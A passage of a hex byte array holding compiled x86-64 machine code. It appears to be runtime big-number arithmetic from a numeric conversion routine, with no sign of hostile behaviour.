0x89, 0x54, 0x95, 0xa4, 0x41, 0xff, 0xca, 0x44, 0x3b, - 0xd7, 0x74, 0x05, 0x8b, 0x55, 0xa0, 0xeb, 0xb8, 0x33, 0xc9, 0x45, 0x85, - 0xc0, 0x74, 0x12, 0x83, 0x64, 0x8d, 0xa4, 0x00, 0x41, 0x03, 0xcf, 0x41, - 0x3b, 0xc8, 0x75, 0xf3, 0xeb, 0x03, 0x45, 0x33, 0xf6, 0x44, 0x89, 0x75, - 0xa0, 0x45, 0x8b, 0xe7, 0x44, 0x89, 0xbd, 0x70, 0x01, 0x00, 0x00, 0xc7, - 0x85, 0x74, 0x01, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xe9, 0x2b, 0x02, - 0x00, 0x00, 0x41, 0x83, 0xfc, 0x36, 0x0f, 0x84, 0x40, 0x01, 0x00, 0x00, - 0x33, 0xc0, 0xc7, 0x85, 0x48, 0x03, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, - 0x89, 0x85, 0x44, 0x03, 0x00, 0x00, 0x89, 0xb5, 0x40, 0x03, 0x00, 0x00, - 0x85, 0xdb, 0x0f, 0x84, 0x20, 0x01, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x42, - 0x8b, 0x44, 0x85, 0xa4, 0x42, 0x39, 0x84, 0x85, 0x44, 0x03, 0x00, 0x00, - 0x0f, 0x85, 0x0a, 0x01, 0x00, 0x00, 0x45, 0x03, 0xc7, 0x44, 0x3b, 0xc6, - 0x75, 0xe5, 0x83, 0x64, 0x24, 0x38, 0x00, 0x0f, 0xbd, 0xc3, 0x74, 0x04, - 0xff, 0xc0, 0xeb, 0x02, 0x33, 0xc0, 0x45, 0x33, 0xf6, 0x2b, 0xf8, 0x3b, - 0xfe, 0x41, 0x0f, 0x92, 0xc6, 0x41, 0x83, 0xcb, 0xff, 0x44, 0x03, 0xf2, - 0x41, 0x83, 0xfe, 0x73, 0x0f, 0x86, 0x85, 0x00, 0x00, 0x00, 0x45, 0x33, - 0xf6, 0xbe, 0x36, 0x04, 0x00, 0x00, 0x44, 0x89, 0x75, 0xa0, 0x41, 0x2b, - 0xf4, 0x48, 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, 0x8b, 0xfe, 0x33, 0xd2, - 0xc1, 0xef, 0x05, 0x8b, 0xdf, 0x48, 0xc1, 0xe3, 0x02, 0x4c, 0x8b, 0xc3, - 0xe8, 0xbf, 0x68, 0xff, 0xff, 0x83, 0xe6, 0x1f, 0x41, 0x8b, 0xc7, 0x40, - 0x8a, 0xce, 0xd3, 0xe0, 0x89, 0x84, 0x1d, 0x44, 0x03, 0x00, 0x00, 0x44, - 0x8d, 0x67, 0x01, 0x45, 0x8b, 0xc4, 0x49, 0xc1, 0xe0, 0x02, 0x44, 0x89, - 0xa5, 0x40, 0x03, 0x00, 0x00, 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, 0x00, - 0x4d, 0x85, 0xc0, 0x0f, 0x84, 0x58, 0x01, 0x00, 0x00, 0xbb, 0xcc, 0x01, - 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x4c, 0x3b, 0xc3, - 0x0f, 0x87, 0x22, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x44, 0x03, 0x00, - 0x00, 0xe8, 0xca, 0x6c, 0xff, 0xff, 0xe9, 0x2b, 0x01, 0x00, 0x00, 0x41, - 0x8d, 0x46, 0xff, 0x41, 0x3b, 0xc3, 0x0f, 0x84, 0x71, 0xff, 0xff, 0xff, - 0x44, 0x8b, 0xd0, 0x44, 0x8d, 0x40, 0xff, 0x3b, 0xc2, 0x73, 0x07, 0x46, - 0x8b, 0x4c, 0x95, 0xa4, 0xeb, 0x03, 0x45, 0x33, 0xc9, 0x44, 0x3b, 0xc2, - 0x73, 0x07, 0x42, 0x8b, 0x4c, 0x85, 0xa4, 0xeb, 0x02, 0x33, 0xc9, 0xc1, - 0xe9, 0x1e, 0x41, 0x8b, 0xc1, 0xc1, 0xe0, 0x02, 0x0b, 0xc8, 0x41, 0x8b, - 0xc0, 0x42, 0x89, 0x4c, 0x95, 0xa4, 0x45, 0x3b, 0xc3, 0x0f, 0x84, 0x32, - 0xff, 0xff, 0xff, 0x8b, 0x55, 0xa0, 0xeb, 0xbc, 0xf7, 0xdb, 0x48, 0x1b, - 0xc0, 0x83, 0x64, 0x24, 0x38, 0x00, 0x83, 0xe0, 0x04, 0x0f, 0xbd, 0x44, - 0x05, 0xa4, 0x74, 0x04, 0xff, 0xc0, 0xeb, 0x02, 0x33, 0xc0, 0x45, 0x33, - 0xf6, 0x2b, 0xf8, 0x41, 0x3b, 0xff, 0x41, 0x0f, 0x92, 0xc6, 0x41, 0x83, - 0xcb, 0xff, 0x44, 0x03, 0xf2, 0x41, 0x83, 0xfe, 0x73, 0x76, 0x42, 0x45, - 0x33, 0xf6, 0xbe, 0x35, 0x04, 0x00, 0x00, 0x44, 0x89, 0x75, 0xa0, 0x41, - 0x2b, 0xf4, 0x48, 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, 0x8b, 0xfe, 0x33, - 0xd2, 0xc1, 0xef, 0x05, 0x8b, 0xdf, 0x48, 0xc1, 0xe3, 0x02, 0x4c, 0x8b, - 0xc3, 0xe8, 0xb6, 0x67, 0xff, 0xff, 0x83, 0xe6, 0x1f, 0x41, 0x8b, 0xc7, - 0x40, 0x8a, 0xce, 0xd3, 0xe0, 0x89, 0x84, 0x1d, 0x44, 0x03, 0x00, 0x00, - 0xe9, 0xf2, 0xfe, 0xff, 0xff, 0x41, 0x8d, 0x46, 0xff, 0x41, 0x3b, 0xc3, - 0x74, 0xb8, 0x44, 0x8b, 0xd0, 0x44, 0x8d, 0x40, 0xff, 0x3b, 0xc2, 0x73, - 0x07, 0x46, 0x8b, 0x4c, 0x95, 0xa4, 0xeb, 0x03, 0x45, 0x33, 0xc9, 0x44, - 0x3b, 0xc2, 0x73, 0x07, 0x42, 0x8b, 0x4c, 0x85, 0xa4, 0xeb, 0x02, 0x33, - 0xc9, 0xc1, 0xe9, 0x1f, 0x43, 0x8d, 0x04, 0x09, 0x0b, 0xc8, 0x41, 0x8b, - 0xc0, 0x42, 0x89, 0x4c, 0x95, 0xa4, 0x45, 0x3b, 0xc3, 0x0f, 0x84, 0x7b, - 0xff, 0xff, 0xff, 0x8b, 0x55, 0xa0, 0xeb, 0xbe, 0x4c, 0x8b, 0xc3, 0x33, - 0xd2, 0xe8, 0x4a, 0x67, 0xff, 0xff, 0xe8, 0x41, 0xaa, 0xff, 0xff, 0xc7, - 0x00, 0x22, 0x00, 0x00, 0x00, 0xe8, 0x16, 0xa9, 0xff, 0xff, 0x44, 0x8b, - 0xa5, 0x70, 0x01, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x40, 0xb8, 0xcd, 0xcc, - 0xcc, 0xcc, 0x85, 0xc9, 0x0f, 0x88, 0xd9, 0x04, 0x00, 0x00, 0xf7, 0xe1, - 0x8b, 0xc2, 0x48, 0x8d, 0x15, 0x67, 0x3c, 0xff, 0xff, 0xc1, 0xe8, 0x03, - 0x89, 0x44, 0x24, 0x50, 0x8b, 0xc8, 0x89, 0x44, 0x24, 0x48, 0x85, 0xc0, - 0x0f, 0x84, 0xc8, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x26, 0x00, 0x00, 0x00, - 0x41, 0x3b, 0xc8, 0x8b, 0xc1, 0x41, 0x0f, 0x47, 0xc0, 0x89, 0x44, 0x24, - 0x4c, 0xff, 0xc8, 0x8b, 0xf8, 0x0f, 0xb6, 0x8c, 0x82, 0xe2, 0x56, 0x01, - 0x00, 0x0f, 0xb6, 0xb4, 0x82, 0xe3, 0x56, 0x01, 0x00, 0x8b, 0xd9, 0x48, - 0xc1, 0xe3, 0x02, 0x33, 0xd2, 0x4c, 0x8b, 0xc3, 0x8d, 0x04, 0x0e, 0x48, - 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, 0x89, 0x85, 0x40, 0x03, 0x00, 0x00, - 0xe8, 0xbb, 0x66, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0x04, 0x3c, 0xff, 0xff, - 0x48, 0xc1, 0xe6, 0x02, 0x0f, 0xb7, 0x84, 0xb9, 0xe0, 0x56, 0x01, 0x00, - 0x48, 0x8d, 0x91, 0xd0, 0x4d, 0x01, 0x00, 0x48, 0x8d, 0x8d, 0x44, 0x03, - 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x48, 0x03, 0xcb, 0x48, 0x8d, 0x14, 0x82, - 0xe8, 0xeb, 0x6a, 0xff, 0xff, 0x44, 0x8b, 0x95, 0x40, 0x03, 0x00, 0x00, - 0x45, 0x3b, 0xd7, 0x0f, 0x87, 0x9a, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x44, - 0x03, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x0f, 0x45, 0x33, 0xe4, 0x44, 0x89, - 0xa5, 0x70, 0x01, 0x00, 0x00, 0xe9, 0xfa, 0x02, 0x00, 0x00, 0x41, 0x3b, - 0xc7, 0x0f, 0x84, 0xf1, 0x02, 0x00, 0x00, 0x45, 0x85, 0xe4, 0x0f, 0x84, - 0xe8, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xd0, 0x45, 0x33, - 0xc9, 0x42, 0x8b, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xc0, - 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, - 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x03, - 0xcf, 0x45, 0x3b, 0xcc, 0x75, 0xd7, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0xa6, - 0x02, 0x00, 0x00, 0x83, 0xbd, 0x70, 0x01, 0x00, 0x00, 0x73, 0x73, 0x1a, - 0x8b, 0x85, 0x70, 0x01, 0x00, 0x00, 0x44, 0x89, 0x84, 0x85, 0x74, 0x01, - 0x00, 0x00, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x45, 0x03, 0xe7, - 0xeb, 0x84, 0x45, 0x33, 0xe4, 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, 0x00, - 0x32, 0xc0, 0xe9, 0x7c, 0x02, 0x00, 0x00, 0x45, 0x3b, 0xe7, 0x0f, 0x87, - 0xad, 0x00, 0x00, 0x00, 0x8b, 0x9d, 0x74, 0x01, 0x00, 0x00, 0x4d, 0x8b, - 0xc2, 0x49, 0xc1, 0xe0, 0x02, 0x45, 0x8b, 0xe2, 0x44, 0x89, 0x95, 0x70, - 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x40, 0xb8, 0xcc, 0x01, 0x00, - 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x4c, 0x3b, 0xc0, 0x77, - 0x0e, 0x48, 0x8d, 0x95, 0x44, 0x03, 0x00, 0x00, 0xe8, 0xff, 0x69, 0xff, - 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, 0x33, 0xd2, 0xe8, 0x93, 0x65, 0xff, - 0xff, 0xe8, 0x8a, 0xa8, 0xff, 0xff, 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, - 0xe8, 0x5f, 0xa7, 0xff, 0xff, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, - 0x85, 0xdb, 0x0f, 0x84, 0x03, 0xff, 0xff, 0xff, 0x41, 0x3b, 0xdf, 0x0f, - 0x84, 0x03, 0x02, 0x00, 0x00, 0x45, 0x85, 0xe4, 0x0f, 0x84, 0xfa, 0x01, - 0x00, 0x00, 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xd3, 0x45, 0x33, 0xc9, 0x42, - 0x8b, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xc0, 0x49, 0x0f, - 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, 0x8c, 0x8d, - 0x74, 0x01, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x03, 0xcf, 0x45, - 0x3b, 0xcc, 0x75, 0xd7, 0xe9, 0x0d, 0xff, 0xff, 0xff, 0x45, 0x3b, 0xd4, - 0x48, 0x8d, 0x95, 0x74, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xdc, 0x48, 0x8d, - 0x8d, 0x44, 0x03, 0x00, 0x00, 0x48, 0x0f, 0x43, 0xca, 0x4c, 0x8d, 0x85, - 0x44, 0x03, 0x00, 0x00, 0x41, 0x0f, 0x42, 0xda, 0x48, 0x89, 0x4c, 0x24, - 0x58, 0x0f, 0x92, 0xc0, 0x89, 0x5c, 0x24, 0x44, 0x48, 0x8d, 0x95, 0x74, - 0x01, 0x00, 0x00, 0x49, 0x0f, 0x43, 0xd0, 0x84, 0xc0, 0x48, 0x89, 0x54, - 0x24, 0x38, 0x45, 0x0f, 0x45, 0xd4, 0x45, 0x33, 0xe4, 0x45, 0x33, 0xc9, - 0x44, 0x89, 0xa5, 0x10, 0x05, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x16, - 0x01, 0x00, 0x00, 0x42, 0x8b, 0x34, 0x89, 0x85, 0xf6, 0x75, 0x21, 0x45, - 0x3b, 0xcc, 0x0f, 0x85, 0xf9, 0x00, 0x00, 0x00, 0x42, 0x21, 0xb4, 0x8d, - 0x14, 0x05, 0x00, 0x00, 0x45, 0x8d, 0x61, 0x01, 0x44, 0x89, 0xa5, 0x10, - 0x05, 0x00, 0x00, 0xe9, 0xe1, 0x00, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x45, - 0x8b, 0xc1, 0x45, 0x85, 0xd2, 0x0f, 0x84, 0xbe, 0x00, 0x00, 0x00, 0x41, - 0x8b, 0xd9, 0xf7, 0xdb, 0x41, 0x83, 0xf8, 0x73, 0x74, 0x5d, 0x41, 0x8b, - 0xf8, 0x45, 0x3b, 0xc4, 0x75, 0x12, 0x83, 0xa4, 0xbd, 0x14, 0x05, 0x00, - 0x00, 0x00, 0x41, 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, - 0x41, 0x8d, 0x04, 0x18, 0x45, 0x03, 0xc7, 0x8b, 0x14, 0x82, 0x41, 0x8b, - 0xc3, 0x48, 0x0f, 0xaf, 0xd6, 0x48, 0x03, 0xd0, 0x8b, 0x84, 0xbd, 0x14, - 0x05, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x8d, 0x04, 0x18, 0x4c, 0x8b, - 0xda, 0x89, 0x94, 0xbd, 0x14, 0x05, 0x00, 0x00, 0x44, 0x8b, 0xa5, 0x10, - 0x05, 0x00, 0x00, 0x49, 0xc1, 0xeb, 0x20, 0x41, 0x3b, 0xc2, 0x74, 0x07, - 0x48, 0x8b, 0x54, 0x24, 0x38, 0xeb, 0x9d, 0x45, 0x85, 0xdb, 0x74, 0x4d, - 0x41, 0x83, 0xf8, 0x73, 0x0f, 0x84, 0xcd, 0x01, 0x00, 0x00, 0x41, 0x8b, - 0xd0, 0x45, 0x3b, 0xc4, 0x75, 0x12, 0x83, 0xa4, 0x95, 0x14, 0x05, 0x00, - 0x00, 0x00, 0x41, 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, - 0x8b, 0x84, 0x95, 0x14, 0x05, 0x00, 0x00, 0x45, 0x03, 0xc7, 0x41, 0x8b, - 0xcb, 0x48, 0x03, 0xc8, 0x89, 0x8c, 0x95, 0x14, 0x05, 0x00, 0x00, 0x44, - 0x8b, 0xa5, 0x10, 0x05, 0x00, 0x00, 0x48, 0xc1, 0xe9, 0x20, 0x44, 0x8b, - 0xd9, 0x85, 0xc9, 0x75, 0xb3, 0x8b, 0x5c, 0x24, 0x44, 0x41, 0x83, 0xf8, - 0x73, 0x0f, 0x84, 0x7c, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, - 0x48, 0x8b, 0x54, 0x24, 0x38, 0x45, 0x03, 0xcf, 0x44, 0x3b, 0xcb, 0x0f, - 0x85, 0xea, 0xfe, 0xff, 0xff, 0x45, 0x8b, 0xc4, 0x49, 0xc1, 0xe0, 0x02, - 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x40, - 0xb8, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, - 0x4c, 0x3b, 0xc0, 0x77, 0x0e, 0x48, 0x8d, 0x95, 0x14, 0x05, 0x00, 0x00, - 0xe8, 0xeb, 0x67, 0xff, 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, 0x33, 0xd2, - 0xe8, 0x7f, 0x63, 0xff, 0xff, 0xe8, 0x76, 0xa6, 0xff, 0xff, 0xc7, 0x00, - 0x22, 0x00, 0x00, 0x00, 0xe8, 0x4b, 0xa5, 0xff, 0xff, 0x44, 0x8b, 0xa5, - 0x70, 0x01, 0x00, 0x00, 0x41, 0x8a, 0xc7, 0x84, 0xc0, 0x0f, 0x84, 0x08, - 0x01, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8d, 0x15, 0xa2, 0x38, - 0xff, 0xff, 0x2b, 0x4c, 0x24, 0x4c, 0x41, 0xb8, 0x26, 0x00, 0x00, 0x00, - 0x89, 0x4c, 0x24, 0x48, 0x0f, 0x85, 0x42, 0xfc, 0xff, 0xff, 0x8b, 0x44, - 0x24, 0x50, 0x8b, 0x4c, 0x24, 0x40, 0x8d, 0x04, 0x80, 0x03, 0xc0, 0x2b, - 0xc8, 0x74, 0x7d, 0x8d, 0x41, 0xff, 0x8b, 0x84, 0x82, 0x78, 0x57, 0x01, - 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xc6, 0x00, 0x00, 0x00, 0x41, 0x3b, 0xc7, - 0x74, 0x66, 0x45, 0x85, 0xe4, 0x74, 0x61, 0x45, 0x33, 0xc0, 0x44, 0x8b, - 0xd0, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, - 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, 0x8b, - 0xc1, 0x42, 0x89, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x49, 0xc1, 0xe8, - 0x20, 0x45, 0x03, 0xcf, 0x45, 0x3b, 0xcc, 0x75, 0xd7, 0x45, 0x85, 0xc0, - 0x74, 0x23, 0x83, 0xbd, 0x70, 0x01, 0x00, 0x00, 0x73, 0x73, 0x7c, 0x8b, - 0x85, 0x70, 0x01, 0x00, 0x00, 0x44, 0x89, 0x84, 0x85, 0x74, 0x01, 0x00, - 0x00, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x45, 0x03, 0xe7, 0xeb, - 0x65, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x75, 0x80, - 0x48, 0x8b, 0xde, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xc2, 0x04, 0x00, 0x00, - 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x44, 0x8d, 0xa4, 0x48, - 0x8d, 0x0c, 0x80, 0x41, 0x8b, 0xc0, 0x4c, 0x8d, 0x04, 0x48, 0x46, 0x89, - 0x44, 0x8d, 0xa4, 0x45, 0x03, 0xcf, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x3b, - 0xce, 0x75, 0xdf, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x04, 0x00, 0x00, - 0x83, 0x7d, 0xa0, 0x73, 0x0f, 0x83, 0x65, 0x04, 0x00, 0x00, 0x8b, 0x45, - 0xa0, 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x01, 0x7d, 0xa0, 0xe9, 0x77, - 0x04, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, - 0x00, 0xeb, 0x99, 0xf7, 0xd9, 0x4c, 0x8d, 0x05, 0x90, 0x37, 0xff, 0xff, - 0xf7, 0xe1, 0x89, 0x4c, 0x24, 0x4c, 0x8b, 0xc2, 0xc1, 0xe8, 0x03, 0x89, - 0x44, 0x24, 0x38, 0x8b, 0xd0, 0x89, 0x44, 0x24, 0x44, 0x85, 0xc0, 0x0f, - 0x84, 0x8f, 0x03, 0x00, 0x00, 0xb9, 0x26, 0x00, 0x00, 0x00, 0x3b, 0xd1, - 0x8b, 0xc2, 0x0f, 0x47, 0xc1, 0x33, 0xd2, 0x89, 0x44, 0x24, 0x50, 0xff, - 0xc8, 0x8b, 0xf8, 0x41, 0x0f, 0xb6, 0x8c, 0x80, 0xe2, 0x56, 0x01, 0x00, - 0x41, 0x0f, 0xb6, 0xb4, 0x80, 0xe3, 0x56, 0x01, 0x00, 0x8b, 0xd9, 0x48, - 0xc1, 0xe3, 0x02, 0x4c, 0x8b, 0xc3, 0x8d, 0x04, 0x0e, 0x48, 0x8d, 0x8d, - 0x44, 0x03, 0x00, 0x00, 0x89, 0x85, 0x40, 0x03, 0x00, 0x00, 0xe8, 0xdd, - 0x61, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0x26, 0x37, 0xff, 0xff, 0x48, 0xc1, - 0xe6, 0x02, 0x0f, 0xb7, 0x84, 0xb9, 0xe0, 0x56, 0x01, 0x00, 0x48, 0x8d, - 0x91, 0xd0, 0x4d, 0x01, 0x00, 0x48, 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, - 0x4c, 0x8b, 0xc6, 0x48, 0x03, 0xcb, 0x48, 0x8d, 0x14, 0x82, 0xe8, 0x0d, - 0x66, 0xff, 0xff, 0x44, 0x8b, 0x95, 0x40, 0x03, 0x00, 0x00, 0x45, 0x3b, - 0xd7, 0x0f, 0x87, 0x82, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x44, 0x03, 0x00, - 0x00, 0x85, 0xc0, 0x75, 0x0c, 0x45, 0x33, 0xf6, 0x44, 0x89, 0x75, 0xa0, - 0xe9, 0xc2, 0x02, 0x00, 0x00, 0x41, 0x3b, 0xc7, 0x0f, 0x84, 0xb9, 0x02, - 0x00, 0x00, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xb0, 0x02, 0x00, 0x00, 0x45, - 0x33, 0xc0, 0x4c, 0x8b, 0xd0, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x4c, 0x8d, - 0xa4, 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, - 0x8b, 0xc1, 0x42, 0x89, 0x4c, 0x8d, 0xa4, 0x49, 0xc1, 0xe8, 0x20, 0x45, - 0x03, 0xcf, 0x45, 0x3b, 0xce, 0x75, 0xdd, 0x45, 0x85, 0xc0, 0x0f, 0x84, - 0x77, 0x02, 0x00, 0x00, 0x83, 0x7d, 0xa0, 0x73, 0x73, 0x11, 0x8b, 0x45, - 0xa0, 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x8b, 0x75, 0xa0, 0x45, 0x03, - 0xf7, 0xeb, 0x99, 0x45, 0x33, 0xf6, 0x44, 0x89, 0x75, 0xa0, 0x32, 0xc0, - 0xe9, 0x59, 0x02, 0x00, 0x00, 0x45, 0x3b, 0xf7, 0x0f, 0x87, 0x9b, 0x00, - 0x00, 0x00, 0x8b, 0x5d, 0xa4, 0x4d, 0x8b, 0xc2, 0x49, 0xc1, 0xe0, 0x02, - 0x45, 0x8b, 0xf2, 0x44, 0x89, 0x55, 0xa0, 0x4d, 0x85, 0xc0, 0x74, 0x3a, - 0xb8, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xa4, 0x4c, 0x3b, 0xc0, - 0x77, 0x0e, 0x48, 0x8d, 0x95, 0x44, 0x03, 0x00, 0x00, 0xe8, 0x42, 0x65, - 0xff, 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, 0x33, 0xd2, 0xe8, 0xd6, 0x60, - 0xff, 0xff, 0xe8, 0xcd, 0xa3, 0xff, 0xff, 0xc7, 0x00, 0x22, 0x00, 0x00, - 0x00, 0xe8, 0xa2, 0xa2, 0xff, 0xff, 0x44, 0x8b, 0x75, 0xa0, 0x85, 0xdb, - 0x0f, 0x84, 0x27, 0xff, 0xff, 0xff, 0x41, 0x3b, 0xdf, 0x0f, 0x84, 0xec, - 0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xe3, 0x01, 0x00, 0x00, - 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xd3, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x4c, - 0x8d, 0xa4, 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, - 0x4c, 0x8b, 0xc1, 0x42, 0x89, 0x4c, 0x8d, 0xa4, 0x49, 0xc1, 0xe8, 0x20, - 0x45, 0x03, 0xcf, 0x45, 0x3b, 0xce, 0x75, 0xdd, 0xe9, 0x2e, 0xff, 0xff, - 0xff, 0x45, 0x3b, 0xd6, 0x48, 0x8d, 0x55, 0xa4, 0x41, 0x8b, 0xde, 0x48, - 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, 0x48, 0x0f, 0x43, 0xca, 0x4c, 0x8d, - 0x85, 0x44, 0x03, 0x00, 0x00, 0x41, 0x0f, 0x42, 0xda, 0x48, 0x89, 0x4d, - 0x88, 0x0f, 0x92, 0xc0, 0x89, 0x5c, 0x24, 0x48, 0x48, 0x8d, 0x55, 0xa4, - 0x49, 0x0f, 0x43, 0xd0, 0x84, 0xc0, 0x48, 0x89, 0x54, 0x24, 0x58, 0x45, - 0x0f, 0x45, 0xd6, 0x45, 0x33, 0xf6, 0x45, 0x33, 0xc9, 0x44, 0x89, 0xb5, - 0x10, 0x05, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x15, 0x01, 0x00, 0x00, - 0x42, 0x8b, 0x34, 0x89, 0x85, 0xf6, 0x75, 0x21, 0x45, 0x3b, 0xce, 0x0f, - 0x85, 0xf8, 0x00, 0x00, 0x00, 0x42, 0x21, 0xb4, 0x8d, 0x14, 0x05, 0x00, - 0x00, 0x45, 0x8d, 0x71, 0x01, 0x44, 0x89, 0xb5, 0x10, 0x05, 0x00, 0x00, - 0xe9, 0xe0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x45, 0x8b, 0xc1, 0x45, - 0x85, 0xd2, 0x0f, 0x84, 0xbe, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xd9, 0xf7, - 0xdb, 0x41, 0x83, 0xf8, 0x73, 0x74, 0x5d, 0x41, 0x8b, 0xf8, 0x45, 0x3b, - 0xc6, 0x75, 0x12, 0x83, 0xa4, 0xbd, 0x14, 0x05, 0x00, 0x00, 0x00, 0x41, - 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, 0x42, 0x8d, 0x04, - 0x03, 0x45, 0x03, 0xc7, 0x8b, 0x14, 0x82, 0x8b, 0x84, 0xbd, 0x14, 0x05, - 0x00, 0x00, 0x48, 0x0f, 0xaf, 0xd6, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0xc3, - 0x48, 0x03, 0xd0, 0x42, 0x8d, 0x04, 0x03, 0x4c, 0x8b, 0xda, 0x89, 0x94, - 0xbd, 0x14, 0x05, 0x00, 0x00, 0x44, 0x8b, 0xb5, 0x10, 0x05, 0x00, 0x00, - 0x49, 0xc1, 0xeb, 0x20, 0x41, 0x3b, 0xc2, 0x74, 0x07, 0x48, 0x8b, 0x54, - 0x24, 0x58, 0xeb, 0x9d, 0x45, 0x85, 0xdb, 0x74, 0x4d, 0x41, 0x83, 0xf8, - 0x73, 0x0f, 0x84, 0x67, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xd0, 0x45, 0x3b, - 0xc6, 0x75, 0x12, 0x83, 0xa4, 0x95, 0x14, 0x05, 0x00, 0x00, 0x00, 0x41, - 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, 0x8b, 0x84, 0x95, - 0x14, 0x05, 0x00, 0x00, 0x45, 0x03, 0xc7, 0x41, 0x8b, 0xcb, 0x48, 0x03, - 0xc8, 0x89, 0x8c, 0x95, 0x14, 0x05, 0x00, 0x00, 0x44, 0x8b, 0xb5, 0x10, - 0x05, 0x00, 0x00, 0x48, 0xc1, 0xe9, 0x20, 0x44, 0x8b, 0xd9, 0x85, 0xc9, - 0x75, 0xb3, 0x8b, 0x5c, 0x24, 0x48, 0x41, 0x83, 0xf8, 0x73, 0x0f, 0x84, - 0x16, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x88, 0x48, 0x8b, 0x54, 0x24, - 0x58, 0x45, 0x03, 0xcf, 0x44, 0x3b, 0xcb, 0x0f, 0x85, 0xeb, 0xfe, 0xff, - 0xff, 0x45, 0x8b, 0xc6, 0x49, 0xc1, 0xe0, 0x02, 0x44, 0x89, 0x75, 0xa0, - 0x4d, 0x85, 0xc0, 0x74, 0x3a, 0xb8, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, - 0x4d, 0xa4, 0x4c, 0x3b, 0xc0, 0x77, 0x0e, 0x48, 0x8d, 